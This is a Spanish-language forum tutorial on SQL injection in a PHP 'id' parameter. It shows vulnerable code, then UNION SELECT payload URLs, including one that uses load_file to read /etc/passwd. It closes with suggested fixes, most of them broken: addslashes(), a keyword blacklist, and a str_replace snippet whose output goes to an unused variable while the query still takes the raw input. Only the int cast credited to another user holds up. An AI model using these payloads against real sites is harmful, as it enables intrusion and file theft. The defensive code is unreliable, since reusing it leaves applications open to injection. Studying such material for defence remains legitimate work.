Vamos a mostrar primero como sería el code vulnerable y por que lo es...
Code:
<?php
$id = $_GET['id'];
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");
?>
Ahora la mayoría mirará directo al codigo en sql y básicamente el error no está ahí,
el error está en el GET que hacemos... mm pues no está filtrado nada, ahora, ustedes dirán si no hay panel como explotamos?
Bueno comenzaremos a hacer la inyección a la variable ID en la web webvulnerable.com:
http://www.webvulnerable.pe/profile.php?id=1
Ahora vamos a inyectarla una inyeccion simple...
http://www.webvulnerable.pe/profile.php?id=1+union+all+select+1,2,3,4,5--
Nos manda un error diferente en el 4 entonces haremos una inyección como para no complicarnos...
http://www.webvulnerable.pe/profile.php?id=1+union+all+select+1,2,null,load_file('etc/passwd'),5--
En la inyección no hay mucho que decir lo diferente a lo normal que hemos usado es la funcion load_file() la cual nos ayuda a obtener el archivo etc/passwd/ ya ustedes ven si necesitan otro directorio o ustedes dirán que necesitan...
ahora ya sabemos como podemos atacar esto ahora como podemos hacer para que este ataque no nos afecte?...
simplemente hay que hacer algo pequeño:
<?php
$id = addslashes($_GET['id']);
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");
?>
hemos añadido addslashes() a nuestro codigo lo cual hará que no podamos poner caracteres inválidos, es mejor que usen otras funciones hechas por ustedes mismos o un str_replace() para un mejor funcionamiento de sus scripts...
Espero les sirva este tutorial y como vieron nisiquiera subimos shell...
Si el Magic_quotes esta off entonces podremos hacer uno que otro movimiento mas a nuestro favor...
EDIT - Filtro recomendado por Ozx - undersecurity.net:
<?php
$id = (int)$_GET['id'];
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");
?>
====
Otra Opción con Str Replace... by me...
<?php
$id = $_GET['id'];
$user = str_replace("select","lamo",$id);
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");
?>
ustedes modifiquen el str_replace segun su necesidad, yo no se lo que ustedes deseen...
Saludos
Dr.White